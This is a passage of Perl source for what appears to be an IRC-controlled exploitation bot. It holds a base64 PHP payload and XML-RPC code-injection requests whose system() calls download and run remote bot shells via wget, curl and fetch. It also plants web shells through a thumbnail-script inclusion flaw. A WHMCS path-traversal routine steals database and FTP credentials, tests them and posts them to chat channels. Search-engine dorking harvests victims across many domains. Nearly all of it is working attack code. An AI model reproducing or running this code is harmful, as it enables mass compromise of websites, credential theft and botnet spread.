TA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9sb2JleC5waHAnLCd3Jyk7CmZ3cml0ZSgkZmljaGllciwgJGMpOwpmY2xvc2UoJGZpY2hpZXIpOw=="; | |
| 1102 | my $ua = LWP::UserAgent->new(agent => 'perl post'); | |
| 1103 | $exploit = "<?xml version=\"1.0\"?><methodCall>"; | |
| 1104 | $exploit .= "<methodName>test.method</methodName>"; | |
| 1105 | $exploit .= "<params><param><value><name>',''));"; | |
| 1106 | $exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";
| |
| 1107 | $ua->timeout(7); | |
| 1108 | my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit); | |
| 1109 | return $res->content; | |
| 1110 | } | |
| 1111 | ||
| 1112 | sub xml_spread_query() {
| |
| 1113 | my $xmltargt = $_[0]; | |
| 1114 | my $xmlsprd = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";
| |
| 1115 | my $userAgent = LWP::UserAgent->new(agent => 'perl post'); | |
| 1116 | $exploit = "<?xml version=\"1.0\"?><methodCall>"; | |
| 1117 | $exploit .= "<methodName>test.method</methodName>"; | |
| 1118 | $exploit .= "<params><param><value><name>',''));"; | |
| 1119 | $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>"; | |
| 1120 | $userAgent->timeout(7); | |
| 1121 | my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit); | |
| 1122 | } | |
| 1123 | ||
| 1124 | sub thumb_exploit() {
| |
| 1125 | my $chan = $_[0]; | |
| 1126 | my $bug = $_[1]; | |
| 1127 | my $simpan = $_[2]; | |
| 1128 | my $dork = $_[3]; | |
| 1129 | my $engine = $_[4]; | |
| 1130 | my $count = 0; | |
| 1131 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo); | |
| 1132 | my $num = scalar(@totexploit); | |
| 1133 | if ($num > 0){
| |
| 1134 | foreach my $site(@totexploit){
| |
| 1135 | $count++; | |
| 1136 | my $vuln = "http://".$site.$bug."?src=".$thumbshell; | |
| 1137 | my $botis = "http://".$site.$bug."?src=".$botid; | |
| 1138 | my $botxc = "http://".$site.$bug."?src=".$botxid; | |
| 1139 | if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
| |
| 1140 | my @nbug = split(/\//,$bug); | |
| 1141 | my $cek = &get_content($vuln);sleep(1); | |
| 1142 | if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md5php/i){
| |
| 1143 | &msg("$chan","$thumblogo15$engine 9e3x9p3l9o3i9t3i9n3g 15http://$site ");
| |
| 1144 | my $pdir = $2; | |
| 1145 | if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); }
| |
| 1146 | my $crut = "http://".$site.$nbug[0].$pdir.$md5php; | |
| 1147 | my $botc = "http://".$site.$nbug[0].$pdir.$md5bot; | |
| 1148 | my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx; | |
| 1149 | my $npath = "http://".$site."/wp-includes/wp-script.php"; | |
| 1150 | my $check = &get_content($crut."?clone");sleep(1); | |
| 1151 | if ($check =~ /GIF89a/i){
| |
| 1152 | my $safe = ""; my $os = ""; my $uid = ""; | |
| 1153 | if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
| |
| 1154 | if ($check =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
| |
| 1155 | if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
| |
| 1156 | my $crot = &get_content($npath);sleep(1); | |
| 1157 | if ($crot =~ /GIF89a/i){
| |
| 1158 | &msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1159 | &msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$npath."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1160 | } else {
| |
| 1161 | &msg("$admin","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1162 | &msg("$chan","$thumblogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$crut."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1163 | } | |
| 1164 | &get_content($botc);sleep(1); | |
| 1165 | &get_content($botpc);sleep(1); | |
| 1166 | } | |
| 1167 | } | |
| 1168 | } exit; } | |
| 1169 | if ($count == $num-1) { &msg("$chan","$thumblogo15$engine 9Finished 15for 9$dork "); }
| |
| 1170 | } | |
| 1171 | } | |
| 1172 | } | |
| 1173 | ||
| 1174 | sub whmcs_exploit() {
| |
| 1175 | my $chan = $_[0]; | |
| 1176 | my $bug = $_[1]; | |
| 1177 | my $simpan = $_[2]; | |
| 1178 | my $dork = $_[3]; | |
| 1179 | my $engine = $_[4]; | |
| 1180 | my $count = 0; | |
| 1181 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$whmcslogo); | |
| 1182 | my $num = scalar(@totexploit); | |
| 1183 | if ($num > 0){
| |
| 1184 | foreach my $site(@totexploit){
| |
| 1185 | $count++; | |
| 1186 | if ($count == $num-1) { &msg("$chan","$whmcslogo15$engine 9Finished 15for 9$dork "); }
| |
| 1187 | my $test1 = "http://".$site.$bug."../../../configuration.php%00"; | |
| 1188 | my $submit = "http://".$site.$subticket; | |
| 1189 | if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
| |
| 1190 | my $html = &get_content($test1); | |
| 1191 | if ($html =~ /db_host/i) {
| |
| 1192 | my $userpass = &getUserPass($html); sleep(2); | |
| 1193 | my $info = &getinfo($html); sleep(2); | |
| 1194 | &msg("$chaninfo","$whmcslogo15$engine 4<9=4>9 info 15[ 9http://".$site."15 ] 9$info");
| |
| 1195 | my $lulz = "http://".$site; | |
| 1196 | my $user = ""; my $pass = ""; my $user2 = ""; my $pass2 = ""; my $dtbs2 = ""; | |
| 1197 | if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
| |
| 1198 | my $host = $2; | |
| 1199 | my @ftpu = split(":Viva-Byroe.Net:", $userpass);
| |
| 1200 | my @dbic = split(":Viva-Byroe.Net:", $info);
| |
| 1201 | $user = $ftpu[0]; $pass = $ftpu[1]; | |
| 1202 | $user2 = $dbic[0]; $pass2 = $dbic[1]; $dtbs2 = $dbic[2]; | |
| 1203 | my $ftpstat = ""; | |
| 1204 | if($user =~ /_/) { @userz = split("_", $user); $user = $userz[0];}
| |
| 1205 | &ftp_connect($test1,$host,$user,$pass,$chan,$engine,$whmcslogo);sleep(1); | |
| 1206 | &dbi_connect($host,$user2,$pass2,$dtbs2,$chan,$engine,$whmcslogo);sleep(1); | |
| 1207 | } | |
| 1208 | my $ceksubmit = &get_content($submit); | |
| 1209 | if ($ceksubmit =~ /Urgency/i) {
| |
| 1210 | &msg("$submitchan","$whmcslogo15$engine 4<9=4>9 Submit Ticket 15[9 ".$submit." 15]"); sleep(2);
| |
| 1211 | my $uploader = "http://".$site."/downloads/indexx.php"; | |
| 1212 | my $uploader2 = "http://".$site."/templates_c/indexx.php"; | |
| 1213 | my $cekup = &get_content($uploader); | |
| 1214 | my $cekup2 = &get_content($uploader2); | |
| 1215 | if ($cekup =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]");&msg("$admin","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader." 15]"); }
| |
| 1216 | if ($cekup2 =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]");&msg("$chanxxx","$whmcslogo15$engine 9<4=9>9 Uploader 15[9 ".$uploader2." 15]"); }
| |
| 1217 | } | |
| 1218 | } | |
| 1219 | } exit; | |
| 1220 | } | |
| 1221 | } | |
| 1222 | } | |
| 1223 | } | |
| 1224 | ||
| 1225 | sub ftp_connect {
| |
| 1226 | my $url = $_[0]; | |
| 1227 | my $host = $_[1]; | |
| 1228 | my $user = $_[2]; | |
| 1229 | my $pass = $_[3]; | |
| 1230 | my $chan = $_[4]; | |
| 1231 | my $engine = $_[5]; | |
| 1232 | my $logo = $_[6]; | |
| 1233 | my $success = 1; | |
| 1234 | use Net::FTP; | |
| 1235 | my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7); | |
| 1236 | $success = 0 if $ftp->login($user,$pass); | |
| 1237 | $ftp->quit; | |
| 1238 | if ($success == 0) {
| |
| 1239 | &msg("$chanxxx","$logo15$engine 9<4=9>9 FTP 15[ 9http://".$host." 15] [4 ".$user.":".$pass." 15]");
| |
| 1240 | } | |
| 1241 | } | |
| 1242 | sub dbi_connect () {
| |
| 1243 | my $host = $_[0]; | |
| 1244 | my $user = $_[1]; | |
| 1245 | my $pass = $_[2]; | |
| 1246 | my $dtbs = $_[3]; | |
| 1247 | my $chan = $_[4]; | |
| 1248 | my $engine = $_[5]; | |
| 1249 | my $logo = $_[6]; | |
| 1250 | my $port = "3306"; | |
| 1251 | my $platform = "mysql"; | |
| 1252 | my $dsn = "dbi:$platform:$dtbs:$host:$port"; | |
| 1253 | my $DBIconnect= DBI->connect($dsn,$user,$pass); | |
| 1254 | if ($DBIconnect) {
| |
| 1255 | &msg("$chanxxx","$logo15$engine 9<4=9>9 MySql 15[ 9http://".$host." 15] [4 Connected 15]");
| |
| 1256 | } | |
| 1257 | } | |
| 1258 | sub getUserPass() {
| |
| 1259 | my $string = $_[0]; | |
| 1260 | my @lol = split("\r\n", $string);
| |
| 1261 | my $pass = ""; | |
| 1262 | my $user = ""; | |
| 1263 | foreach my $line (@lol) {
| |
| 1264 | if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
| |
| 1265 | $pass = $3; | |
| 1266 | } | |
| 1267 | if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
| |
| 1268 | $user = $3; | |
| 1269 | } | |
| 1270 | } | |
| 1271 | return $user.":Viva-Byroe.Net:".$pass; | |
| 1272 | } | |
| 1273 | ||
| 1274 | sub getinfo() {
| |
| 1275 | my $string = $_[0]; | |
| 1276 | my @lol = split("\r\n", $string);
| |
| 1277 | my $pass = ""; | |
| 1278 | my $user = ""; | |
| 1279 | my $dbs = ""; | |
| 1280 | foreach my $line (@lol) {
| |
| 1281 | if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
| |
| 1282 | $pass = $3; | |
| 1283 | } | |
| 1284 | if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
| |
| 1285 | $user = $3; | |
| 1286 | } | |
| 1287 | if(($line =~ m/db_name(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_name(.*?)=(.*?)"(.+?)";/i)) {
| |
| 1288 | $dbs = $3; | |
| 1289 | } | |
| 1290 | } | |
| 1291 | return $user.":user:".$pass.":pass:".$dbs; | |
| 1292 | } | |
| 1293 | ||
| 1294 | sub zero_exploit() {
| |
| 1295 | my $chan = $_[0]; | |
| 1296 | my $bug = $_[1]; | |
| 1297 | my $simpan = $_[2]; | |
| 1298 | my $dork = $_[3]; | |
| 1299 | my $engine = $_[4]; | |
| 1300 | my $count = 0; | |
| 1301 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zerologo); | |
| 1302 | my $num = scalar(@totexploit); | |
| 1303 | if ($num > 0){
| |
| 1304 | foreach my $site(@totexploit){
| |
| 1305 | $count++; | |
| 1306 | if ($count == $num-1) { &msg("$chan","$zerologo15$engine 9Finished 15for 9$dork "); }
| |
| 1307 | my $coba = "http://".$site.$bug; | |
| 1308 | if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
| |
| 1309 | my $cek = &get_content($coba);sleep(1); | |
| 1310 | if ($cek =~ /Zeroboard/) { system("./zbc $coba 80");sleep(1);
| |
| 1311 | my $vulner1 = "http://".$site.$action."?cmd="; | |
| 1312 | my $vulner2 = "http://".$site.$action.$wgetdon; | |
| 1313 | my $vulner3 = "http://".$site.$action.$lwpdon; | |
| 1314 | my $vulner4 = "http://".$site.$action.$curldon; | |
| 1315 | my $vuln1 = "http://".$site."/data/kekkaishi.php"; | |
| 1316 | my $check2 = &get_content($vulner1); | |
| 1317 | if ($check2 =~ /Byroe Team/) {
| |
| 1318 | if ($zerowget == 1) { my $coba1 = &get_content($vulner2);sleep(2); }
| |
| 1319 | if ($zerolwp == 1 ) { my $coba2 = &get_content($vulner3);sleep(2); }
| |
| 1320 | if ($zerocurl == 1) { my $coba3 = &get_content($vulner4);sleep(2); }
| |
| 1321 | my $check1 = &get_content($vuln1); | |
| 1322 | if ($check1 =~ /stunshell/i) {
| |
| 1323 | my $safe = ""; my $os = ""; my $uid = ""; | |
| 1324 | if ($check1 =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
| |
| 1325 | if ($check1 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
| |
| 1326 | if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
| |
| 1327 | &msg("$admin","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1328 | &msg("$chan","$zerologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$vuln1."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 1329 | } else {
| |
| 1330 | &msg("$chan","$zerologo15$engine 9<4=9>9 Cek dewe 15 $vulner1 ");
| |
| 1331 | } sleep(2); | |
| 1332 | } | |
| 1333 | } | |
| 1334 | } exit; } | |
| 1335 | } | |
| 1336 | } | |
| 1337 | } | |
| 1338 | ||
| 1339 | ################################################################################## | |
| 1340 | ||
| 1341 | sub search_engine() {
| |
| 1342 | my (@total,@clean); | |
| 1343 | my $chan = $_[0]; | |
| 1344 | my $bug = $_[1]; | |
| 1345 | my $dork = $_[2]; | |
| 1346 | my $engine = $_[3]; | |
| 1347 | my $logo = $_[4]; | |
| 1348 | if ($gps == 1) {
| |
| 1349 | if ($engine eq "JacKAE") { my @jackae = &jack1($dork."+site:ae"); push(@total,@jackae); }
| |
| 1350 | if ($engine eq "JacKAR") { my @jackar = &jack2($dork."+site:ar"); push(@total,@jackar); }
| |
| 1351 | if ($engine eq "JacKAT") { my @jackat = &jack3($dork."+site:at"); push(@total,@jackat); }
| |
| 1352 | if ($engine eq "JacKAU") { my @jackau = &jack4($dork."+site:au"); push(@total,@jackau); }
| |
| 1353 | if ($engine eq "JacKBR") { my @jackbr = &jack5($dork."+site:br"); push(@total,@jackbr); }
| |
| 1354 | if ($engine eq "JacKCA") { my @jackca = &jack1($dork."+site:ca"); push(@total,@jackca); }
| |
| 1355 | if ($engine eq "JacKCL") { my @jackcl = &jack2($dork."+site:cl"); push(@total,@jackcl); }
| |
| 1356 | if ($engine eq "JacKCN") { my @jackcn = &jack3($dork."+site:cn"); push(@total,@jackcn); }
| |
| 1357 | if ($engine eq "JacKCoM") { my @jackcom = &jack4($dork."+site:com"); push(@total,@jackcom); }
| |
| 1358 | if ($engine eq "JacKCZ") { my @jackcz = &jack5($dork."+site:cz"); push(@total,@jackcz); }
| |
| 1359 | if ($engine eq "JacKDE") { my @jackde = &jack1($dork."+site:de"); push(@total,@jackde); }
| |
| 1360 | if ($engine eq "JacKDK") { my @jackdk = &jack2($dork."+site:dk"); push(@total,@jackdk); }
| |
| 1361 | if ($engine eq "JacKES") { my @jackes = &jack3($dork."+site:es"); push(@total,@jackes); }
| |
| 1362 | if ($engine eq "JacKEU") { my @jackeu = &jack4($dork."+site:eu"); push(@total,@jackeu); }
| |
| 1363 | if ($engine eq "JacKFR") { my @jackfr = &jack5($dork."+site:fr"); push(@total,@jackfr); }
| |
| 1364 | if ($engine eq "JacKHU") { my @jackhu = &jack1($dork."+site:hu"); push(@total,@jackhu); }
| |
| 1365 | if ($engine eq "JacKID") { my @jackid = &jack2($dork."+site:id"); push(@total,@jackid); }
| |
| 1366 | if ($engine eq "JacKIL") { my @jackil = &jack3($dork."+site:il"); push(@total,@jackil); }
| |
| 1367 | if ($engine eq "JacKIN") { my @jackin = &jack4($dork."+site:in"); push(@total,@jackin); }
| |
| 1368 | if ($engine eq "JacKInfO") { my @jackinfo = &jack5($dork."+site:info"); push(@total,@jackinfo); }
| |
| 1369 | if ($engine eq "JacKIR") { my @jackir = &jack1($dork."+site:ir"); push(@total,@jackir); }
| |
| 1370 | if ($engine eq "JacKIT") { my @jackit = &jack2($dork."+site:it"); push(@total,@jackit); }
| |
| 1371 | if ($engine eq "JacKJP") { my @jackjp = &jack3($dork."+site:jp"); push(@total,@jackjp); }
| |
| 1372 | if ($engine eq "JacKKR") { my @jackkr = &jack4($dork."+site:kr"); push(@total,@jackkr); }
| |
| 1373 | if ($engine eq "JacKMX") { my @jackmx = &jack5($dork."+site:mx"); push(@total,@jackmx); }
| |
| 1374 | if ($engine eq "JacKMY") { my @jackmy = &jack1($dork."+site:my"); push(@total,@jackmy); }
| |
| 1375 | if ($engine eq "JacKNeT") { my @jacknet = &jack2($dork."+site:net"); push(@total,@jacknet); }
| |
| 1376 | if ($engine eq "JacKNL") { my @jacknl = &jack3($dork."+site:nl"); push(@total,@jacknl); }
| |
| 1377 | if ($engine eq "JacKOrG") { my @jackorg = &jack4($dork."+site:org"); push(@total,@jackorg); }
| |
| 1378 | if ($engine eq "JacKPH") { my @jackph = &jack5($dork."+site:ph"); push(@total,@jackph); }
| |
| 1379 | if ($engine eq "JacKPL") { my @jackpl = &jack1($dork."+site:pl"); push(@total,@jackpl); }
| |
| 1380 | if ($engine eq "JacKRO") { my @jackro = &jack2($dork."+site:ro"); push(@total,@jackro); }
| |
| 1381 | if ($engine eq "JacKRU") { my @jackru = &jack3($dork."+site:ru"); push(@total,@jackru); }
| |
| 1382 | if ($engine eq "JacKTH") { my @jackth = &jack4($dork."+site:th"); push(@total,@jackth); }
| |
| 1383 | if ($engine eq "JacKUA") { my @jackua = &jack5($dork."+site:ua"); push(@total,@jackua); }
| |
| 1384 | if ($engine eq "JacKUK") { my @jackuk = &jack1($dork."+site:uk"); push(@total,@jackuk); }
| |
| 1385 | if ($engine eq "JacKUS") { my @jackus = &jack2($dork."+site:us"); push(@total,@jackus); }
| |
| 1386 | if ($engine eq "JacKSI") { my @jacksi = &jack3($dork."+site:si"); push(@total,@jacksi); }
| |
| 1387 | if ($engine eq "JacKBE") { my @jackbe = &jack4($dork."+site:be"); push(@total,@jackbe); }
| |
| 1388 | if ($engine eq "JacKBIZ") { my @jackbiz = &jack5($dork."+site:biz"); push(@total,@jackbiz); }
| |
| 1389 | } | |
| 1390 | if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
| |
| 1391 | if ($gps2 == 1) {
| |
| 1392 | if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
| |
| 1393 | if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
| |
| 1394 | if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
| |
| 1395 | if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
| |
| 1396 | if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
| |
| 1397 | if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
| |
| 1398 | if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
| |
| 1399 | if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
| |
| 1400 | if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
| |
| 1401 | if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
| |
| 1402 | if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
| |
| 1403 | if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
| |
| 1404 | if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
| |
| 1405 | } | |
| 1406 | @clean = &clean(@total); | |
| 1407 | if ($silentmode == 0) {
| |
| 1408 | &msg("$chan","$logo15$engine 4<9=4>9 Total:4 [15".scalar(@total)."4] 9 Clean:4 [15".scalar(@clean)."4] "); }
| |
| 1409 | return @clean; | |
| 1410 | } | |
| 1411 | ################################################################################## | |
| 1412 | sub isFound() {
| |
| 1413 | my $status = 0; | |
| 1414 | my $link = $_[0]; | |
| 1415 | my $reqexp = $_[1]; | |
| 1416 | my $res = &get_content($link); | |
| 1417 | if ($res =~ /$reqexp/) { $status = 1 }
| |
| 1418 | return $status; | |
| 1419 | } | |
| 1420 | ||
| 1421 | sub get_content() {
| |
| 1422 | my $url = $_[0]; | |
| 1423 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 1424 | $ua->timeout($timot); | |
| 1425 | my $req = HTTP::Request->new(GET => $url); | |
| 1426 | my $res = $ua->request($req); | |
| 1427 | return $res->content; | |
| 1428 | } | |
| 1429 | ######################################### SEARCH ENGINE | |
| 1430 | ||
| 1431 | sub jack1() {
| |
| 1432 | my @list; | |
| 1433 | my $key = $_[0]; | |
| 1434 | for (my $i=0; $i<=1000; $i+=100){
| |
| 1435 | my $search = ($jack1.uri_escape($key)."&num=100&start=".$i); | |
| 1436 | my $res = &search_engine_query($search); | |
| 1437 | while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
| |
| 1438 | my $link = $1; | |
| 1439 | if ($link !~ /google/){
| |
| 1440 | my @grep = &links($link); | |
| 1441 | push(@list,@grep); | |
| 1442 | } | |
| 1443 | } | |
| 1444 | } | |
| 1445 | return @list; | |
| 1446 | } | |
| 1447 | ||
| 1448 | sub jack2() {
| |
| 1449 | my @list; | |
| 1450 | my $key = $_[0]; | |
| 1451 | for (my $i=0; $i<=1000; $i+=100){
| |
| 1452 | my $search = ($jack2.uri_escape($key)."&num=100&start=".$i); | |
| 1453 | my $res = &search_engine_query($search); | |
| 1454 | while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
| |
| 1455 | my $link = $1; | |
| 1456 | if ($link !~ /google/){
| |
| 1457 | my @grep = &links($link); | |
| 1458 | push(@list,@grep); | |
| 1459 | } | |
| 1460 | } | |
| 1461 | } | |
| 1462 | return @list; | |
| 1463 | } | |
| 1464 | ||
| 1465 | sub jack3() {
| |
| 1466 | my @list; | |
| 1467 | my $key = $_[0]; | |
| 1468 | for (my $i=0; $i<=1000; $i+=100){
| |
| 1469 | my $search = ($jack3.uri_escape($key)."&num=100&start=".$i); | |
| 1470 | my $res = &search_engine_query($search); | |
| 1471 | while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
| |
| 1472 | my $link = $1; | |
| 1473 | if ($link !~ /google/){
| |
| 1474 | my @grep = &links($link); | |
| 1475 | push(@list,@grep); | |
| 1476 | } | |
| 1477 | } | |
| 1478 | } | |
| 1479 | return @list; | |
| 1480 | } | |
| 1481 | ||
| 1482 | sub jack4() {
| |
| 1483 | my @list; | |
| 1484 | my $key = $_[0]; | |
| 1485 | for (my $i=0; $i<=1000; $i+=100){
| |
| 1486 | my $search = ($jack4.uri_escape($key)."&num=100&start=".$i); | |
| 1487 | my $res = &search_engine_query($search); | |
| 1488 | while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
| |
| 1489 | my $link = $1; | |
| 1490 | if ($link !~ /google/){
| |
| 1491 | my @grep = &links($link); | |
| 1492 | push(@list,@grep); | |
| 1493 | } | |
| 1494 | } | |
| 1495 | } | |
| 1496 | return @list; | |
| 1497 | } | |
| 1498 | ||
| 1499 | sub jack5() {
| |
| 1500 | my @list; | |
| 1501 | my $key = $_[0]; | |
| 1502 | for (my $i=0; $i<=1000; $i+=100){
| |
| 1503 | my $search = ($jack5.uri_escape($key)."&num=100&start=".$i); | |
| 1504 | my $res = &search_engine_query($search); | |
| 1505 | while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
| |
| 1506 | my $link = $1; | |
| 1507 | if ($link !~ /google/){
| |
| 1508 | my @grep = &links($link); | |
| 1509 | push(@list,@grep); | |
| 1510 | } | |
| 1511 | } | |
| 1512 | } | |
| 1513 | return @list; | |
| 1514 | } | |
| 1515 | ||
| 1516 | sub google() {
| |
| 1517 | my @list; | |
| 1518 | my $key = $_[0]; | |
| 1519 | for (my $i=0; $i<=1000; $i+=100){
| |
| 1520 | my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
| |
| 1521 | my $res = &search_engine_query($search); | |
| 1522 | while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
| |
| 1523 | my $link = $1; | |
| 1524 | if ($link !~ /google/){
| |
| 1525 | my @grep = &links($link); | |
| 1526 | push(@list,@grep); | |
| 1527 | } | |
| 1528 | } | |
| 1529 | } | |
| 1530 | return @list; | |
| 1531 | } | |
| 1532 | ||
| 1533 | sub walla() {
| |
| 1534 | my @list; | |
| 1535 | my $key = $_[0]; | |
| 1536 | for ($b=0; $b<=100; $b+=1) {
| |
| 1537 | my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b);
| |
| 1538 | my $res = &search_engine_query($search); | |
| 1539 | while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) {
| |
| 1540 | my $link = $1; | |
| 1541 | if ($link !~ /walla\.co\.il/){
| |
| 1542 | my @grep = &links($link); | |
| 1543 | push(@list,@grep); | |
| 1544 | } | |
| 1545 | } | |
| 1546 | } | |
| 1547 | return @list; | |
| 1548 | } | |
| 1549 | ||
| 1550 | sub yahoo(){
| |
| 1551 | my @list; | |
| 1552 | my $key = $_[0]; | |
| 1553 | for ($b=1; $b<=1000; $b+=10) {
| |
| 1554 | my $search = ("http://search.yahoo.com/search?p=".uri_escape($key)."&b=".$b);
| |
| 1555 | my $res = &search_engine_query($search); | |
| 1556 | while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
| |
| 1557 | my $link = $1; | |
| 1558 | if ($link !~ /yahoo\.com/){
| |
| 1559 | my @grep = &links($link); | |
| 1560 | push(@list,@grep); | |
| 1561 | } | |
| 1562 | } | |
| 1563 | } | |
| 1564 | return @list; | |
| 1565 | } | |
| 1566 | ||
| 1567 | sub ask() {
| |
| 1568 | my @list; | |
| 1569 | my $key = $_[0]; | |
| 1570 | for (my $i=1; $i<=1000; $i+=100) {
| |
| 1571 | my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
| |
| 1572 | my $res = &search_engine_query($search); | |
| 1573 | while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
| |
| 1574 | my $link = $1; | |
| 1575 | if ($link !~ /ask\.com/){
| |
